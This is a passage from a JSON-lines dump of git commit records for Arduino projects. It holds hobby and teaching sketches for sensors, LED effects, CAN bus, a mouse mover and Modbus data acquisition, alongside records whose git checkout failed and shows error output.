\u2026","message":"step direction on both motors \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"cfdf84b1464c8f0348d01522beba13b336ff3ba6","subject":"Fixed incorrect parameter.","message":"Fixed incorrect parameter.","repos":"futureshocked\/arduino_sbs,futureshocked\/arduino_sbs,futureshocked\/arduino_sbs","old_file":"LCD TFT Screen\/simple\/simple.ino","new_file":"LCD TFT Screen\/simple\/simple.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'LCD' did not match any file(s) known to git\nerror: pathspec 'TFT' did not match any file(s) known to git\nerror: pathspec 'Screen\/simple\/simple.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e63ffe791947c3ea46fba3e447aba13dc74e9c0","subject":"Add spark-core main.","message":"Add spark-core main.\n","repos":"hekike\/spark-core-pid-temperature","old_file":"brew.ino","new_file":"brew.ino","new_contents":"#include \"ds18b20\/DS18B20.h\"\n#include \"ds18b20\/OneWire.h\"\n\nDS18B20 ds18b20 = DS18B20(D2);\nchar szInfo[64];\n\n \n \/\/ Setup\nvoid setup() {\n Serial1.begin(9600);\n}\n \n \/\/ Loop\nvoid loop() {\n if(!ds18b20.search()){\n Serial1.println(\"No more addresses.\");\n Serial1.println();\n ds18b20.resetsearch();\n delay(250);\n \n return; \n }\n \n float celsius = ds18b20.getTemperature();\n \n sprintf(szInfo, \"{ temp: %2.2f, chip: \\\"%s\\\")\", celsius, ds18b20.getChipName());\n \n Spark.publish(\"tmpinfo\", szInfo);\n \n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'brew.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4afd51723e0a90e83685b547085b67ce18173122","subject":"Basic Serial Communication sketch","message":"Basic Serial Communication sketch\n","repos":"carloscastellanos\/teaching,carloscastellanos\/teaching,carloscastellanos\/teaching","old_file":"Arduino\/SerialCommunication\/BasicSerialCommunication.ino","new_file":"Arduino\/SerialCommunication\/BasicSerialCommunication.ino","new_contents":"\n\/*\nBASIC SERIAL COMMUNICATION\nCarlos Castellanos | 2014 | ccastellanos.com\n \nIn order for the Arduino to communicate with your computer it needs to have some kind of standard or\nprotocol. Arduino can communicate over USB via what called \"serial communication\" or RS-232 This\nallows us to send values (such as sensor readings) from the Arduino to the computer and back to the \nArduino (when a button is pressed, data from a web page, etc).\n \nOnce it's in your computer you can do all sorts of things wit the data \n(e.g. map it sound, store it in a databse, etc)\n \nYou will need to open the Serial Monitor window in the Arduino IDE (located above) in order to\nview the results\n\nSuggestions:\n- Keep a running count of the number of times the button is pressed and send it out the serial port\n- Can you detect some type of patterns in the button data (e.g. how many button press per second)\nand send that out to the computer?\n- Use\/alter the code to read a photocell or control a relay.\n \n Refer to the Digital Read Serial tutorial for more:\n http:\/\/arduino.cc\/en\/Tutorial\/DigitalReadSerial\n \n Also look at hte Serial Call and Response tutorial to learn how to both send & receive\n http:\/\/arduino.cc\/en\/Tutorial\/SerialCallResponse\n \n Other relevant tutorials on Serial Communication\n http:\/\/arduino.cc\/en\/Tutorial\/AnalogInOutSerial\n http:\/\/arduino.cc\/en\/Tutorial\/PhysicalPixel\n http:\/\/arduino.cc\/en\/Tutorial\/SerialEvent\n http:\/\/arduino.cc\/en\/Tutorial\/SwitchCase2\n *\/\n\nint buttonPin = 2;\nint buttonState = 0; \/\/ 0\/1 = on\/off\n\nvoid setup() {\n pinMode(buttonPin, INPUT);\n \n \/\/ start connection over USB; 9600 is the 'baud rate', or bits\/second\n Serial.begin(9600);\n}\n\nvoid loop() {\n buttonState = digitalRead(buttonPin); \/\/ get the button state\n\n if (buttonState == HIGH) {\n Serial.println(\"HELLO!\"); \/\/ send a new line with the word \"HELLO!\"\n delay(1); \/\/ waiting 1ms improves stability of your program\n\n Serial.print(\"Button: \"); \/\/ a label for the data (useful when sending multiple readings)\n Serial.print(buttonState); \/\/ send the button's state\n Serial.print(\"\\n\"); \/\/ a 'newline' character so we get a line break (allows to see the data better\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/SerialCommunication\/BasicSerialCommunication.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"51b4ac310467a4a7ea95cd0b7f4756f021e5467e","subject":"Victoria's boots","message":"Victoria's boots\n","repos":"elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino","old_file":"boots\/boots.ino","new_file":"boots\/boots.ino","new_contents":"\/* Juggle\n\nBy: Originally by Mark Kriegsman\n\nModified By: Andrew Tuline\n\nDate: February 2015\n\nJuggle just moves some balls back and forth. A single ball could be a Cylon effect. I've added several variables to this simple routine.\n\n*\/\n\n\n#include \"FastLED.h\"\n\n#if FASTLED_VERSION < 3001000\n#error \"Requires FastLED 3.1 or later; check github for latest code.\"\n#endif\n\n\/\/ Fixed definitions cannot change on the fly.\n#define LED_DT 7\n#define COLOR_ORDER GRB\n#define LED_TYPE WS2812B\n#define NUM_LEDS 300\n\n\n\/\/ Initialize changeable global variables.\nuint8_t max_bright = 255; \/\/ Overall brightness definition. It can be changed on the fly.\n\nstruct CRGB leds[NUM_LEDS]; \/\/ Initialize our LED array.\n\n\/\/ Routine specific variables\nuint8_t numdots = 5; \/\/ Number of dots in use.\nuint8_t faderate = 255; \/\/ How long should the trails be. Very low value = longer trails.\nuint8_t hueinc = 32; \/\/ Incremental change in hue between each dot.\nuint8_t thishue = 0; \/\/ Starting hue.\nuint8_t curhue = 0; \/\/ The current hue\nuint8_t thissat = 255; \/\/ Saturation of the colour.\nuint8_t thisbright = 255; \/\/ How bright should the LED\/display be.\nuint8_t basebeat = 0.0001; \/\/ Higher = faster movement.\n\n\nvoid setup() {\n delay(1000); \/\/ Power-up safety delay or something like that.\n Serial.begin(57600);\n\n LEDS.addLeds<LED_TYPE, LED_DT, COLOR_ORDER>(leds, NUM_LEDS); \/\/ Use this for WS2812B\n\/\/ LEDS.addLeds<LED_TYPE, LED_DT, LED_CK, COLOR_ORDER>(leds, NUM_LEDS); \/\/ Use this for WS2801 or APA102\n\n FastLED.setBrightness(max_bright);\n set_max_power_in_volts_and_milliamps(5, 4000); \/\/ FastLED power management set at 5V, 500mA.\n} \/\/ setup()\n\n\nvoid juggle() { \/\/ Several colored dots, weaving in and out of sync with each other\n curhue = thishue; \/\/ Reset the hue values.\n thishue=random8();\n fadeToBlackBy(leds, NUM_LEDS, faderate);\n for( int i = 0; i < numdots; i++) {\n leds[beatsin16(basebeat+i+numdots,0,NUM_LEDS)] += CHSV(curhue, thissat, thisbright); \/\/beat16 is a FastLED 3.1 function\n leds[beatsin16(basebeat+i+numdots,0,NUM_LEDS)+1] += CHSV(curhue, thissat, thisbright); \/\/beat16 is a FastLED 3.1 function\n leds[beatsin16(basebeat+i+numdots,0,NUM_LEDS)+2] += CHSV(curhue, thissat, thisbright); \/\/beat16 is a FastLED 3.1 function\n leds[beatsin16(basebeat+i+numdots,0,NUM_LEDS)+3] += CHSV(curhue, thissat, thisbright); \/\/beat16 is a FastLED 3.1 function\n curhue += hueinc;\n }\n}\n\nint hue = 0;\nvoid sparkle() {\n fadeToBlackBy(leds, NUM_LEDS, 200);\n for (int i = 0; i < 4; i++) {\n int pos = random16(NUM_LEDS);\n leds[pos] = CHSV(hue + (pos \/ 10), 240, 255);\n }\n hue += 1;\n if (hue > 255) {\n hue = hue - 255;\n }\n}\n\nbool doSparkle = false;\n\nvoid change() {\n if (doSparkle) {\n doSparkle = false;\n } else {\n doSparkle = true;\n }\n}\n\nvoid loop() {\n EVERY_N_MILLISECONDS(5000) {\n change();\n }\n EVERY_N_MILLISECONDS(60\/1000) {\n if (doSparkle) {\n sparkle();\n } else {\n juggle();\n }\n }\n show_at_max_brightness_for_power(); \/\/ Power managed display of LED's.\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'boots\/boots.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"779728233dfc2cc686a9592562bf0730cdd3f8ab","subject":"first arduino based example","message":"first arduino based example\n","repos":"5shekel\/doodlitech","old_file":"src\/bmp180-example\/bmp180-example.ino","new_file":"src\/bmp180-example\/bmp180-example.ino","new_contents":"\/\/based on https:\/\/github.com\/telavivmakers\/BMP180_Breakout_Arduino_Library\/tree\/master\/examples\/SFE_BMP180_example\n\n#include <SFE_BMP180.h>\n#include <Wire.h>\n\n\/\/ You will need to create an SFE_BMP180 object, here called \"pressure\":\n\nSFE_BMP180 pressure;\n\n#define ALTITUDE 25.0 \/\/ Altitude of SparkFun's HQ in Boulder, CO. in meters\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(\"REBOOT\");\n if (pressure.begin())\n Serial.println(\"BMP180 init success\");\n else\n {\n \/\/ If you want sea-level-compensated pressure, as used in weather reports,\n \/\/ you will need to know the altitude at which your measurements are taken.\n \/\/ We're using a constant called ALTITUDE in this sketch:\n\n Serial.println();\n Serial.print(\"provided altitude: \");\n Serial.print(ALTITUDE, 0);\n Serial.print(\" meters, \");\n Serial.print(ALTITUDE * 3.28084, 0);\n Serial.println(\" feet\");\n\n Serial.println(\"BMP180 init fail\\n\\n\");\n while (1); \/\/ Pause forever.\n }\n}\n\nvoid loop()\n{\n char status;\n double T, P, p0, a;\n\n \/\/ If you want to measure altitude, and not pressure, you will instead need\n \/\/ to provide a known baseline pressure. This is shown at the end of the sketch.\n\n \/\/ You must first get a temperature measurement to perform a pressure reading.\n\n \/\/ Start a temperature measurement:\n \/\/ If request is successful, the number of ms to wait is returned.\n \/\/ If request is unsuccessful, 0 is returned.\n\n status = pressure.startTemperature();\n if (status != 0)\n {\n \/\/ Wait for the measurement to complete:\n delay(status);\n\n \/\/ Retrieve the completed temperature measurement:\n \/\/ Note that the measurement is stored in the variable T.\n \/\/ Function returns 1 if successful, 0 if failure.\n\n status = pressure.getTemperature(T);\n if (status != 0)\n {\n \/\/ Print out the measurement:\n \/\/Serial.print(\"temperature: \");\n \/\/Serial.print(T, 2);\n \/\/Serial.print(\" deg C, \");\n\n \/\/ Start a pressure measurement:\n \/\/ The parameter is the oversampling setting, from 0 to 3 (highest res, longest wait).\n \/\/ If request is successful, the number of ms to wait is returned.\n \/\/ If request is unsuccessful, 0 is returned.\n\n status = pressure.startPressure(3);\n if (status != 0)\n {\n \/\/ Wait for the measurement to complete:\n delay(status);\n\n \/\/ Retrieve the completed pressure measurement:\n \/\/ Note that the measurement is stored in the variable P.\n \/\/ Note also that the function requires the previous temperature measurement (T).\n \/\/ (If temperature is stable, you can do one temperature measurement for a number of pressure measurements.)\n \/\/ Function returns 1 if successful, 0 if failure.\n\n status = pressure.getPressure(P, T);\n if (status != 0)\n {\n \/\/ Print out the measurement:\n \/\/Serial.print(\"absolute pressure: \");\n Serial.println((P-1000)*100., 2);\n \/\/Serial.print(\" mb, \");\n \/\/ Serial.print(P * 0.0295333727, 2);\n \/\/ Serial.println(\" inHg\");\n\n \/*\n \/\/ The pressure sensor returns abolute pressure, which varies with altitude.\n \/\/ To remove the effects of altitude, use the sealevel function and your current altitude.\n \/\/ This number is commonly used in weather reports.\n \/\/ Parameters: P = absolute pressure in mb, ALTITUDE = current altitude in m.\n \/\/ Result: p0 = sea-level compensated pressure in mb\n\n p0 = pressure.sealevel(P, ALTITUDE); \/\/ we're at 1655 meters (Boulder, CO)\n Serial.print(\"relative (sea-level) pressure: \");\n Serial.print(p0, 2);\n Serial.print(\" mb, \");\n Serial.print(p0 * 0.0295333727, 2);\n Serial.println(\" inHg\");\n\n \/\/ On the other hand, if you want to determine your altitude from the pressure reading,\n \/\/ use the altitude function along with a baseline pressure (sea-level or other).\n \/\/ Parameters: P = absolute pressure in mb, p0 = baseline pressure in mb.\n \/\/ Result: a = altitude in m.\n\n a = pressure.altitude(P, p0);\n Serial.print(\"computed altitude: \");\n Serial.print(a, 0);\n Serial.print(\" meters, \");\n Serial.print(a * 3.28084, 0);\n Serial.println(\" feet\");\n *\/\n }\n else Serial.println(\"error retrieving pressure measurement\\n\");\n }\n else Serial.println(\"error starting pressure measurement\\n\");\n }\n else Serial.println(\"error retrieving temperature measurement\\n\");\n }\n else Serial.println(\"error starting temperature measurement\\n\");\n\n delay(100); \/\/ Pause for 5 seconds.\n}\n\n\n\/*\n * import processing.serial.*;\n\nSerial myPort; \/\/ The serial port\nint xPos = 1; \/\/ horizontal position of the graph\n\nfloat fValue;\nboolean newVal = false;\n\nvoid setup () {\n size(400, 300);\n\n \/\/ List all the available serial ports\n println(Serial.list());\n myPort = new Serial(this, Serial.list()[0], 9600);\n \/\/ don't generate a serialEvent() unless you get a newline character:\n myPort.bufferUntil('\\n');\n background(40);\n stroke(127, 34, 255);\n}\n\nvoid draw () {\n if (newVal) {\n line(xPos, height, xPos, height - fValue);\n if (++xPos >= width) {\n xPos = 0;\n background(0);\n }\n newVal = false;\n }\n}\n\nvoid serialEvent (Serial myPort) {\n String inString = myPort.readStringUntil('\\n');\n if (inString != null) {\n inString = trim(inString);\n fValue = float(inString);\n fValue = map(fValue, 1500, 2000, 0, height);\n newVal = true;\n }\n}\n*\/\n *\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/bmp180-example\/bmp180-example.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"0812e5782304901ef71b78e62572a1c60d839caa","subject":"add example","message":"add example\n","repos":"teachop\/FlexCAN_Library,teachop\/FlexCAN_Library","old_file":"examples\/CANtest.ino","new_file":"examples\/CANtest.ino","new_contents":"\/\/ -------------------------------------------------------------\n\/\/ CANtest for Teensy 3.1\n\/\/ by teachop\n\/\/\n\n#include <FlexCAN.h>\n\nint led = 13;\nFlexCAN CANbus(125000);\nstatic CAN_message msg;\n\n\n\/\/ -------------------------------------------------------------\nvoid setup(void)\n{\n CANbus.begin();\n \n Serial.println(F(\"Hello Teensy 3.1 CAN Test.\"));\n\n pinMode(led, OUTPUT); \n}\n\n\n\/\/ -------------------------------------------------------------\nvoid loop(void)\n{\n digitalWrite(led, HIGH);\n delay(500);\n digitalWrite(led, LOW);\n delay(500);\n for( int loop=0; loop<8; ++loop ) {\n msg.buf[loop] = 'A'+loop;\n }\n msg.len = 8;\n msg.id = 0x555;\n CANbus.send(&msg);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/CANtest.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"eb18f65d86800cea63ce077de0491e949b96d637","subject":"Modified SPI example for AT93C46","message":"Modified SPI example for AT93C46\n","repos":"prpplague\/Userspace-Arduino,bugobliterator\/BUAGI,prpplague\/Userspace-Arduino,bugobliterator\/BUAGI,bugobliterator\/BUAGI,prpplague\/Userspace-Arduino,prpplague\/Userspace-Arduino,bugobliterator\/BUAGI,bugobliterator\/BUAGI,bugobliterator\/BUAGI","old_file":"arduino-makefile\/examples\/SPI\/SPI.ino","new_file":"arduino-makefile\/examples\/SPI\/SPI.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/prpplague\/Userspace-Arduino.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"59d8111ae55460f46d03592117b0d80a5e33e15b","subject":"Wifi Message Receiving Complete","message":"Wifi Message Receiving Complete\n\nLaunchpad takes messages and interprets it. It can open valves and turn\nthem off after receiving a specific amount of pulses.\n","repos":"yoyomo\/h2ocrop,yoyomo\/h2ocrop,yoyomo\/h2ocrop,yoyomo\/h2ocrop,yoyomo\/h2ocrop,yoyomo\/h2ocrop,yoyomo\/h2ocrop,yoyomo\/h2ocrop,yoyomo\/h2ocrop","old_file":"MCU Code\/remoteControlHTTP\/remoteControlHTTP.ino","new_file":"MCU Code\/remoteControlHTTP\/remoteControlHTTP.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'MCU' did not match any file(s) known to git\nerror: pathspec 'Code\/remoteControlHTTP\/remoteControlHTTP.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"89d0016a5b3ff10f528d07467aa8829d785e36f0","subject":"add test env","message":"add test env\n","repos":"ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR","old_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenManipulator\/example\/OPM_for_Arduino\/test_manager\/test_manager.ino","new_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenManipulator\/example\/OPM_for_Arduino\/test_manager\/test_manager.ino","new_contents":"#include <OMManager.h>\n\nvoid setup()\n{\n Manipulator manipulator;\n\n manipulator.initManipulator(4, 4, 4, 1);\n}\n\nvoid loop()\n{\n\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/opencr_arduino\/opencr\/libraries\/OpenManipulator\/example\/OPM_for_Arduino\/test_manager\/test_manager.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8b26d750f41f0be545ee0afaa75fdff4646a7370","subject":"initial version","message":"initial version\n\nauto mouse mover for Arduino Leonardo based on Longan Labs IRduino","repos":"tinkernauts\/arduino","old_file":"Leonardo_MouseMover.ino","new_file":"Leonardo_MouseMover.ino","new_contents":"\/\/ ######################################################################\r\n\/\/ \r\n\/\/ Leonardo_MouseMover.ino - auto mouse mover for Arduino Leonardo\r\n\/\/ https:\/\/www.arduino.cc\/en\/Main\/Arduino_BoardLeonardo\r\n\/\/ based on Longan Labs IRduino https:\/\/www.longan-labs.cc\/1040001.html\r\n\/\/\r\n\/\/ IRduino library https:\/\/github.com\/Longan-Labs\/IRduino\r\n\/\/ IRduino documentation https:\/\/docs.longan-labs.cc\/1040001\/\r\n\/\/ \r\n\/\/ Bart Spainhour <bart@tinkernauts.org>\r\n\/\/\r\n\/\/ ######################################################################\r\n\r\n\/\/ include libraries for mouse and irduino\r\n#include <Mouse.h>\r\n#include <IRDuino.h>\r\n\/\/ also does a sub-include of Keyboard.h\r\n\r\n\/\/ note: using irduino library for easy LED control.\r\n\/\/ LEDs are wired to analog GPIO pins, so no PWM control of RGB\r\n\/\/ options are Red, Green, Blue for each eye\r\n\r\n\/\/ run this \"setup()\" section once at startup\r\nvoid setup()\r\n{\r\n \/\/ start mouse and IRDuino devices\r\n Mouse.begin();\r\n iRduino.begin();\r\n\r\n \/\/ flash green for good startup (250ms)\r\n iRduino.led(G1, 1);\r\n iRduino.led(G2, 1);\r\n delay(250);\r\n iRduino.releaseAll();\r\n iRduino.all_led_off();\r\n\r\n \/\/ pause one second after init\r\n \/\/ this can be longer for the oh-sh1t moment \r\n \/\/ if you need to unplug\r\n delay(1000); \r\n}\r\n\r\n\/\/ loop contents of \"loop()\" section forever\r\nvoid loop()\r\n{\r\n \/\/ vars for mouse movements\r\n int xMovePixels = 5; \/\/ consider some elaborate randomization?\r\n int yMovePixels = 5; \/\/ or trig functions?\r\n int responseDelay = 2; \/\/ de-bounce for mouse output\r\n\r\n \/\/ how long to cycle delay\r\n \/\/ 30 seconds default\r\n int pauseDelay = 30000;\r\n\r\n \/\/ to-do: put the green-flash into a loop\r\n delay(pauseDelay); \/\/ 1 of 3 default 30 seconds\r\n\r\n \/\/ flash green (500ms)\r\n iRduino.led(G1, 1);\r\n iRduino.led(G2, 1);\r\n delay(500);\r\n iRduino.all_led_off();\r\n\r\n delay(pauseDelay); \/\/ 2 of 3 default 30 seconds\r\n\r\n \/\/ flash green (500ms)\r\n iRduino.led(G1, 1);\r\n iRduino.led(G2, 1);\r\n delay(500);\r\n iRduino.all_led_off();\r\n\r\n delay(pauseDelay); \/\/ 3 of 3 default 30 seconds\r\n\r\n \/\/ flash green (500ms)\r\n iRduino.led(G1, 1);\r\n iRduino.led(G2, 1);\r\n delay(500);\r\n iRduino.all_led_off();\r\n delay(500);\r\n\r\n \/\/ to-do: put this into a loop\r\n \/\/ warning before mouse move\r\n \/\/ flash red 1 of 3 (500ms)\r\n iRduino.led(R1, 1);\r\n iRduino.led(R2, 1);\r\n delay(500);\r\n iRduino.all_led_off();\r\n delay(500);\r\n\r\n \/\/ flash red 2 of 3 (500ms)\r\n iRduino.led(R1, 1);\r\n iRduino.led(R2, 1);\r\n delay(500);\r\n iRduino.all_led_off();\r\n delay(500);\r\n\r\n \/\/ flash red 3 of 3 (500ms)\r\n iRduino.led(R1, 1);\r\n iRduino.led(R2, 1);\r\n delay(500);\r\n iRduino.all_led_off();\r\n delay(500);\r\n \r\n \/\/ release keyboard just in case\r\n iRduino.releaseAll();\r\n \/\/ move mouse\r\n Mouse.move(xMovePixels, yMovePixels, 0); \/\/ (x, y, wheel)\r\n delay(responseDelay);\r\n\r\n \/\/ flash blue for all clear\r\n iRduino.led(B1, 1);\r\n iRduino.led(B2, 1);\r\n delay(500);\r\n iRduino.all_led_off();\r\n iRduino.releaseAll();\r\n\r\n \/\/ return to top of loop section\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Leonardo_MouseMover.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2b2464f0c100236438d8547d28a5c8683d71998f","subject":"start adding Arduino sketches to j2mod","message":"start adding Arduino sketches to j2mod\n\ngit-svn-id: 464247b772b47fb892ddc6c4a897645d921924ed@73 43b03309-50c7-4bd2-8aa6-20f049331b16\n","repos":"autinitysystems\/j2mod","old_file":"src\/sketches\/OSS_DAQ\/OSS_DAQ.ino","new_file":"src\/sketches\/OSS_DAQ\/OSS_DAQ.ino","new_contents":"\/*\n * Copyright 2014, Julianne Frances Haugh\n * d\/b\/a greenHouse Gas and Electric\n *\n * This work is licensed under the terms of the \"Creative Commons\n * Attribution-ShareAlike 4.0 International\" open source license.\n * For more information, please read the following web page:\n *\n * http:\/\/creativecommons.org\/licenses\/by-sa\/4.0\/\n *\/\n \n#include <EEPROM.h>\n#include <alloca.h>\n#include <avr\/wdt.h>\n#include <avg\/pgmspace.h>\n\n\/*\n * Hardware identification.\n *\n * NOTE: If you are using this sketch in your own product you MUST replace\n * all references to greenHouse Gas and Electric (except the copyright\n * notice and the PROGMEN declaration below) with your own project\n * related names. You may not use either the name \"greenHouse Gas and\n * Electric\" or \"OSS_DAQ\" in your product. However, you MUST attribute\n * your product to greenHouse Gas and Electric (CC-BY-SA).\n *\/\n \nchar copyright_notice[] PROGMEM = \"Copyright 2014, greenHouse Gas and Electric, CC-BY-SA 4.0 Intl.\";\n\n\/*\n * Pin assignments.\n *\n * AN0 - Interrupt 1, digital input counter #1, falling edge\n * AN1 - Interrupt 2, digital input counter #2, falling edge\n * A0 -- Analog 0, analog input sensor #1, default softare pull-up\n * A1 -- Analog 1, analog input sensor #2, default software pull-up\n * A2 -- Analog 2, analog input sensor #3, default float\n * A3 -- Analog 3, analog input sensor #4, default float\n * A4 -- Analog 4, unused, pull-up\n * A5 -- Analog 5, zener voltage reference, pull-down to GND or add voltage reference.\n *\/\n\n#define HARD_COUNT_0_PIN 2\n#define HARD_COUNT_1_PIN 3\n#define DIGITAL_IN_2 4\n#define DIGITAL_IN_3 5\n\n#define COIL_1_PIN 6 \n#define COIL_2_PIN 7\n#define COIL_3_PIN 8\n#define COIL_4_PIN 9\n\n#define LED_PIN 13\n\nunsigned long last_millis = 0;\nunsigned long last_led_flip = 0;\nunsigned char last_led_state = 0;\nunsigned long last_sample = 0;\n\nunsigned char modbus_unit = 1;\nunsigned char modbus_tmo = 4;\nunsigned short modbus_baud = 19200;\n\nunsigned char coil_1_state = 0;\nunsigned char coil_2_state = 0;\nunsigned char coil_3_state = 0;\nunsigned char coil_4_state = 0;\n\nunsigned char pullups[4];\n\nunsigned short device_serial = 0;\n\n#define REG_A0 0\n#define REG_A1 1\n#define REG_A2 2\n#define REG_A3 3\n#define REG_VREF 4\n#define REG_D0 5\n#define REG_D1 6\n#define REG_D2 7\n#define REG_D3 8\n#define REG_D0_CNT 9\n#define REG_D1_CNT 10\n#define REG_LOOP_HI 11\n#define REG_LOOP_LO 12\n#define REG_BAUD 13\n#define REG_UNIT 14\n#define REG_SERIAL 15\n#define MODBUS_REGS 16\n\nunsigned short modbus_regs[MODBUS_REGS];\n\n#define MODBUS_COILS 12\n\n#if defined(__AVR_ATmega88__) || defined(__AVR_ATmega168__)\n#define KB_RAM 1\n#elif defined(__AVR_ATmega328__) || defined(__AVR_ATmega328P__)\n#define KB_RAM 2\n#define EEPROM_SIZE 1024\n#elif defined(__AVR_ATmega2560__)\n#define KB_RAM 8\n#define EEPROM_SIZE 4096\n#else\n#error Unknown processor\n#endif\n\n\/*\n * User-selectable features.\n *\n * The #define statements below may by commented out to exclude the specified\n * features.\n *\/\n \n#define HAS_MULTI \/* WRITE MULTIPLE REGISTERS \/ COILS *\/\n#define HAS_SRVR_ID \/* READ SERVER ID *\/\n#define HAS_MEI \/* READ MODBUS ENCAPSULATED INFO *\/\n#define HAS_FIFO \/* READ FIFO *\/\n#define HAS_FILES \/* READ\/WRITE FILE RECORD *\/\n#define HAS_COUNTS \/* GET COMM EVENT COUNTER *\/\n#define HAS_LOG \/* GET COMM EVENT LOG *\/\n\n#if defined(HAS_LOG) && !defined(HAS_COUNTS)\n#error Event log depends on event counters.\n#endif\n\n\/*\n * Values for READ DEVICE IDENTICATION method.\n *\/\n#if defined(HAS_MEI) || defined(HAS_SRVR_ID)\n#ifdef HAS_MEI\nchar company_name[] PROGMEM = \"greenHouse Gas and Electric\";\n#endif\nchar product_name[] PROGMEM = \"OSS_DAQ\";\n#ifdef HAS_MEI\nchar version_text[] PROGMEM = \"v1.01\";\n#endif\n#endif\n\n#ifdef HAS_FIFO\n\/**\n * get_fifo_count - Return \"31\" for valid ADC queues, -1 otherwise.\n *\/\nchar get_fifo_count(char fifo) {\n if (fifo < 0 || fifo > 3)\n return -1;\n \n return 31;\n}\n\n\/**\n * get_fifo_value - Return the current ADC value\n *\/\nshort get_fifo_value(char fifo) {\n switch (fifo) {\n case 0: return analogRead(A0);\n case 1: return analogRead(A1);\n case 2: return analogRead(A2);\n case 3: return analogRead(A3);\n default: return -1;\n }\n}\n#endif\n\n#ifdef HAS_FILES\n#define RECORD_SIZE 64\n#define FILE_BASE 128\n\nconst int eeprom_file_base = FILE_BASE;\nconst int eeprom_record_count = ((EEPROM_SIZE - FILE_BASE) \/ (RECORD_SIZE * 2));\n\nchar file_check_entry(unsigned short file, unsigned short record, unsigned short count) {\n if (file > 0 || record >= eeprom_record_count || count > RECORD_SIZE)\n return 0;\n \n return 1;\n}\n\nunsigned short file_get_value(unsigned short file, unsigned short record, unsigned char offset) {\n int address = (eeprom_file_base +\n record * RECORD_SIZE * sizeof(unsigned short)) +\n (offset * sizeof(unsigned short));\n \n return read_eeprom_short(address);\n}\n\nvoid file_put_value(unsigned short file, unsigned short record, unsigned char offset, unsigned short value) {\n int address = (eeprom_file_base +\n record * RECORD_SIZE * sizeof(unsigned short)) +\n (offset * sizeof(unsigned short));\n\n write_eeprom_short(address, value);\n}\n#endif\n\n\/*\n * get_coil - Return the state of the named coil.\n *\/\nchar get_coil(char coil) {\n switch(coil) {\n case 0: return modbus_regs[REG_D0] != 0;\n case 1: return modbus_regs[REG_D1] != 0;\n case 2: return coil_1_state;\n case 3: return coil_2_state;\n case 4: return coil_3_state;\n case 5: return coil_4_state;\n case 6:\n case 7:\n case 8:\n case 9:\n return pullups[coil - 6];\n default:\n return -1;\n }\n}\n\nchar is_coil_setable(unsigned char coil) {\n return (coil >= 2 && coil <= 9);\n}\n\nchar set_coil(char coil, char value) {\n switch(coil) {\n case 2:\n digitalWrite(COIL_1_PIN, value ? HIGH:LOW);\n coil_1_state = value != 0;\n return 1;\n case 3:\n digitalWrite(COIL_2_PIN, value ? HIGH:LOW);\n coil_2_state = value != 0;\n return 1;\n case 4:\n digitalWrite(COIL_3_PIN, value ? HIGH:LOW);\n coil_3_state = value != 0;\n return 1;\n case 5:\n digitalWrite(COIL_4_PIN, value ? HIGH:LOW);\n coil_4_state = value != 0;\n return 1;\n case 6:\n case 7:\n case 8:\n case 9:\n pinMode(A0 + coil - 4, value ? INPUT_PULLUP:INPUT);\n pullups[coil - 6] = value != 0;\n return 1;\n default:\n return 0;\n }\n}\n\n\/*\n * Hardware interrupt counters.\n *\/\nunsigned short count_1;\nunsigned short count_2;\n\n\/*\n * These EEPROM functions support reading and writing the Modbus values used by\n * the greenSensors platform. I used the same EEPROM address here so I can test\n * on existing hardware.\n *\/\nshort read_eeprom_short(int address) {\n short result = 0;\n \n result = (((unsigned char) EEPROM.read(address)) << 8) | ((unsigned char) EEPROM.read(address + 1));\n return result;\n}\n\nvoid write_eeprom_short(int address, short value) {\n EEPROM.write(address, ((value >> 8) & 0xFF));\n EEPROM.write(address + 1, (value & 0xFF));\n}\n\n\/*\n * hard_1_int and hard_2_int are the hardware interrupt handlers which\n * implement a pair of counting registers. There is no software debouncing.\n * The hardware should include an RC circuit to debounce the signal, where\n * the RC circuit sets the response rate for the data 